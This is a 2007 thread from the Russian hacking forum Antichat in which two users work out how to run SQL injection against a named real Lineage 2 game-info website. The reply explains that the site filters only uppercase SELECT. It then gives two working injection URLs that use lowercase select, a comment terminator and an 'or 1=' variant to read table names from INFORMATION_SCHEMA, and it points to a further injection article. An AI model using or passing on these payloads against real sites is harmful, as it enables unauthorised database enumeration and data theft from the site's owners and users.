Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Не выходит выполнить mssql запрос (https://forum.antichat.xyz/showthread.php?t=48618)

mental2 09.09.2007 00:51

Не выходит выполнить mssql запрос
 
Например вот так ht__tp://la2.spark-games.ru/la2info/?part=items&id=(SELECT+TOP+1+TABLE_NAME+FROM+INFOR MATION_SCHEMA.T ABLES)

При вставке TOP, всегда пишет message: Incorrect syntax near the keyword 'TOP'. (severity 15) in .....

Как можна узнать таблицы в такой трабле? Или же есть ли другой способ?

[53x]Shadow 09.09.2007 01:15

Цитата:

Сообщение от mental2
Например вот так ht__tp://la2.spark-games.ru/la2info/?part=items&id=(SELECT+TOP+1+TABLE_NAME+FROM+INFOR MATION_SCHEMA.T ABLES)

При вставке TOP, всегда пишет message: Incorrect syntax near the keyword 'TOP'. (severity 15) in .....

Как можна узнать таблицы в такой трабле? Или же есть ли другой способ?

Вообще читай статью [cash]
https://forum.antichat.ru/thread30501.html

Но в принципе у тебя здесь проблема в фильтрации SELECT, причем(что странно) только с буквами в верхнем регистре, поэтому в данном случае работает вот так:

Код:

http://la2.spark-games.ru/la2info/?part=items&id=(select+top+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES)--
или так

Код:

http://la2.spark-games.ru/la2info/?part=items&id=-1+or+1=(select+top+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES)--
что не принципиально в данном случае.


Время: 08:35